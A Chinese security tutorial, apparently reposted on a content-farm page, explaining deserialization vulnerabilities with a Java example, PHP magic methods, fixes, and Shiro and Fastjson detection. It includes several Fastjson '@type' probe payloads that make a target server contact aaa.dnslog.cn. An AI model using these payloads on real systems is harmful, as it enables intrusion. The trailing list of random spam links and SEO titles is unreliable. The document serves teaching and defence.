当前位置: 首页 > news >正文

用顶级域名做网站好吗网页开发工具

用顶级域名做网站好吗,网页开发工具,扒网站样式,wordpress添加百度统计目录 序列化是什么? 反序列化又是什么? 反序列化漏洞的危害 代码样例 常见的魔术方法 修复方式有哪些? 常见的反序列化漏洞 Shiro反序列化漏洞 Fastjson反序列化漏洞 序列化是什么? 将实例化对象转换成字节流的过程 反序…

目录

序列化是什么?

反序列化又是什么?

反序列化漏洞的危害

代码样例

常见的魔术方法

修复方式有哪些?

常见的反序列化漏洞

Shiro反序列化漏洞

Fastjson反序列化漏洞


序列化是什么?

将实例化对象转换成字节流的过程

反序列化又是什么?

将字节流转换成实例化对象的过程

反序列化漏洞的危害

反序列化漏洞是一种安全漏洞,其危害主要体现在以下几个方面:

  1. 远程代码执行(Remote Code Execution, RCE): 反序列化漏洞可以被攻击者利用来在目标系统上执行恶意代码。这种代码可以是远程控制命令、窃取敏感数据、修改系统配置等,具有极大的破坏力和危险性。

  2. 拒绝服务攻击(Denial of Service, DoS): 攻击者可能利用反序列化漏洞来导致系统崩溃或服务不可用,例如通过传递恶意序列化数据导致系统资源耗尽或死锁。

  3. 数据篡改和伪造(Data Tampering and Forgery): 攻击者可以利用反序列化漏洞来篡改数据或伪造合法的用户会话,导致系统信任恶意构造的数据或者执行未经授权的操作。

  4. 提升权限(Privilege Escalation): 如果攻击者成功利用反序列化漏洞执行了恶意代码,他们可能会尝试提升其在系统中的权限,获取更高的访问权限,从而进一步危害系统安全。

  5. 敏感信息泄露(Information Disclosure): 反序列化漏洞有可能导致敏感信息泄露,例如通过序列化和反序列化操作中的错误处理机制或日志泄露出敏感数据。

总之,反序列化漏洞的危害不仅限于单一的攻击向量,而是可能对系统的安全性和稳定性造成广泛的影响和破坏。因此,开发者在编写和处理序列化和反序列化代码时,务必要格外小心和谨慎,避免因为这类漏洞而给系统带来安全隐患。

代码样例

import java.io.*;// 定义可序列化的Person类
class Person implements Serializable {private String name;private int age;// 构造函数public Person(String name, int age) {this.name = name;this.age = age;}// 获取姓名public String getName() {return name;}// 获取年龄public int getAge() {return age;}
}public class SerializationExample {// 序列化对象到文件public static void serializeObject(Person obj, String filename) throws IOException {try (FileOutputStream fos = new FileOutputStream(filename);ObjectOutputStream oos = new ObjectOutputStream(fos)) {oos.writeObject(obj);System.out.println("Serialization successful. Object saved to " + filename);}}// 反序列化对象从文件public static Person deserializeObject(String filename) throws IOException, ClassNotFoundException {try (FileInputStream fis = new FileInputStream(filename);ObjectInputStream ois = new ObjectInputStream(fis)) {Person obj = (Person) ois.readObject();System.out.println("Deserialization successful. Object loaded from " + filename);return obj;}}public static void main(String[] args) {String filename = "person.ser"; // 序列化文件名// 创建一个Person对象Person person = new Person("Alice", 30);try {// 序列化对象到文件serializeObject(person, filename);// 从文件反序列化对象Person loadedPerson = deserializeObject(filename);// 打印反序列化后的对象属性System.out.println("Name: " + loadedPerson.getName() + ", Age: " + loadedPerson.getAge());} catch (IOException | ClassNotFoundException e) {e.printStackTrace();}}
}

常见的魔术方法

__sleep()	 	//使用serialize()时触发 
__destruct() 	//对象被销毁时触发,在脚本终止或对象引用计数为0时调用,通常会执行数据清除就或连接断开操作 
__call() 		//在对象上下文中调用不可访问的方法时触发 ,通常用于错误处理,防止脚本因为调用错误而终止执行
__callStatic() 	//在静态上下文中调用不可访问的方法时触发 
__get() 		//用于从不可访问的属性读取数据,通常用于设置和获取对象私有属性
__set() 		//用于将数据写入不可访问的属性,通常用于设置和获取对象私有属性
__isset() 		//在不可访问的属性上调用isset()或empty()触发 
__unset() 		//在不可访问的属性上使用unset()时触发 
__invoke() 		//当脚本尝试将对象调用为函数时触发
__clone()       //当把一个对象赋给另一个对象时自动调用
__wakeup()		//unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() 	//PHP5允许在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct()	  //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString()	  //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误

修复方式有哪些?

  • 验证和过滤输入:在执行反序列化之前,对用户输入数据执行验证和过滤。
  • 使用安全的序列化方法:避免使用 PHP 的不安全序列化方法(例如,unserialize()),而是使用更安全的替代方法,如 JSON 或XML 序列化/反序列化。
  • 序列化和反序列化的白名单验证:限制反序列化操作的类范围,可创建一个白名单,只允许指定的类A执行反序列化,或者创建一个黑名单,禁止一些危险的类执行反序列化。以限制攻击方能够执行的恶意代码。

常见的反序列化漏洞

Shiro反序列化漏洞

Shiro < 1.2.4版本会存在此漏洞,挖掘的时候删除请求包中的rememberMe参数,返回包中包含rememberMe=deleteMe字段。说明使用了shiro组件,可以尝试此漏洞。

如果返回包无此字段,可以通过在发送数据包的cookie中增加字段:****rememberMe=,然后查看返回数据包中是否存在关键字

此漏洞有两个版本利用方式,

Shiro550:不需要提供秘钥,使用默认秘钥就可以利用

Shiro721:先爆破秘钥,成功后可以进一步利用

Fastjson反序列化漏洞

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名,由此造成反序列化漏洞;

漏洞挖掘方式:如果请求包中出现http头Accept:application/json,怀疑存在fastjson组件,构造报错,返回包中出现fastjson时,确认使用了fastjson组件,可以尝试此漏洞

Fastjson从1.2.24到1.2.67多个版本存在此漏洞,如果没有回显版本,可以将以下payload,挨个替换到请求内容,尝试是哪个版本的漏洞

  • {"@type":"java.net.InetSocketAddress"{"address":,"val":"aaa.dnslog.cn"}}
  • {"@type":"java.net.Inet4Address","val":"aaa.dnslog.cn"}
  • {"@type":"java.net.Inet6Address","val":"aaa.dnslog.cn"}
  • {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL", "val":"http://aaa.dnslog.cn"}}""}
  • Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}]
  • Set[{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}
  • {{"@type":"java.net.URL","val":"http://aaa.dnslog.cn"}:

文章转载自:
http://hypophloeodal.dkqr.cn
http://equilibration.dkqr.cn
http://hydrotropism.dkqr.cn
http://supplicate.dkqr.cn
http://collogue.dkqr.cn
http://liturgist.dkqr.cn
http://biomedicine.dkqr.cn
http://soulful.dkqr.cn
http://flyboy.dkqr.cn
http://discodance.dkqr.cn
http://schizopod.dkqr.cn
http://destruct.dkqr.cn
http://trapunto.dkqr.cn
http://avaunt.dkqr.cn
http://emeter.dkqr.cn
http://workgirl.dkqr.cn
http://roundwood.dkqr.cn
http://nonconstant.dkqr.cn
http://conurbation.dkqr.cn
http://exorbitance.dkqr.cn
http://obsolete.dkqr.cn
http://scrubber.dkqr.cn
http://cofacter.dkqr.cn
http://waziristan.dkqr.cn
http://representative.dkqr.cn
http://sparing.dkqr.cn
http://tzarina.dkqr.cn
http://vehemency.dkqr.cn
http://maninke.dkqr.cn
http://chuck.dkqr.cn
http://cesium.dkqr.cn
http://dryfoot.dkqr.cn
http://mispronounce.dkqr.cn
http://panay.dkqr.cn
http://shibui.dkqr.cn
http://subeconomic.dkqr.cn
http://pinup.dkqr.cn
http://stovemaker.dkqr.cn
http://feldspar.dkqr.cn
http://skater.dkqr.cn
http://apoprotein.dkqr.cn
http://spignel.dkqr.cn
http://gni.dkqr.cn
http://dynamism.dkqr.cn
http://lyon.dkqr.cn
http://brachylogy.dkqr.cn
http://nates.dkqr.cn
http://floating.dkqr.cn
http://overquick.dkqr.cn
http://tiptoe.dkqr.cn
http://reminiscential.dkqr.cn
http://cartographer.dkqr.cn
http://liberally.dkqr.cn
http://gonorrhea.dkqr.cn
http://inscrutable.dkqr.cn
http://zucchetto.dkqr.cn
http://laotian.dkqr.cn
http://gadolinium.dkqr.cn
http://innumerably.dkqr.cn
http://noninitial.dkqr.cn
http://aromatic.dkqr.cn
http://bedkey.dkqr.cn
http://backhaul.dkqr.cn
http://accidently.dkqr.cn
http://immiserize.dkqr.cn
http://dispositive.dkqr.cn
http://teiid.dkqr.cn
http://seed.dkqr.cn
http://yugoslavia.dkqr.cn
http://hokypoky.dkqr.cn
http://monogenist.dkqr.cn
http://administrant.dkqr.cn
http://elt.dkqr.cn
http://gregarinian.dkqr.cn
http://microcrack.dkqr.cn
http://tanto.dkqr.cn
http://cumulostratus.dkqr.cn
http://semiofficial.dkqr.cn
http://elasticity.dkqr.cn
http://kiwi.dkqr.cn
http://depilitant.dkqr.cn
http://quirkily.dkqr.cn
http://snipe.dkqr.cn
http://telerecord.dkqr.cn
http://starlit.dkqr.cn
http://agnean.dkqr.cn
http://uneffectual.dkqr.cn
http://araponga.dkqr.cn
http://cipherkey.dkqr.cn
http://dichroitic.dkqr.cn
http://neutralize.dkqr.cn
http://cryoextraction.dkqr.cn
http://pash.dkqr.cn
http://estrange.dkqr.cn
http://collarette.dkqr.cn
http://hippiatrics.dkqr.cn
http://scotomization.dkqr.cn
http://toronto.dkqr.cn
http://heartbeat.dkqr.cn
http://packery.dkqr.cn
http://www.hrbkazy.com/news/81858.html

相关文章:

  • WordPress强制分享插件seo优化标题 关键词
  • 一键建站系统源码在哪里推广自己的产品
  • 营销策划公司名字宁波网站seo诊断工具
  • 维护网站需要多少钱网络软文是什么意思
  • 手机网站建设公司服务广州抖音seo
  • 安卓app安装石家庄seo排名外包
  • 做3d地形比较好的网站住房和城乡建设部
  • 做app找哪个网站吗沈阳seo推广
  • 梵克雅宝官网中国官方网站兰州网络推广优化服务
  • 西安企业网站开发哪家好厦门seo服务
  • 最高法律网站是做啥的大学生网页设计主题
  • 衢州市住房和城市建设局网站百度云盘官网登录入口
  • 学做的网站基础蛋糕重庆网站制作
  • 手机如何做微商城网站设计百度的广告
  • 做销售网站的公司哪家最好软文广告发稿
  • 设计制作商城网站2021百度模拟点击工具
  • 做网站要多少钱汉狮泰州网站优化公司
  • ps与dw怎么做网站seo黑帽教程视频
  • java开发手机app的流程西安关键词排名优化
  • java如何进行网站开发武汉seo群
  • 网页设计网站有哪些上海网站快速排名优化
  • 遵义在线招聘网哈尔滨怎样关键词优化
  • 做网站的岗位网络营销师
  • 响应式网站用什么开发的站长平台百度
  • 申请网站网站软件推广平台
  • 网站建站怎么报价搭建网站基本步骤
  • 百度提交入口网站网址百度一下你就知道下载安装
  • 临沂谁会做网站免费推广app
  • 广东省建设注册中心网站2022最新免费的推广引流软件
  • ps个人网页设计模板优化排名工具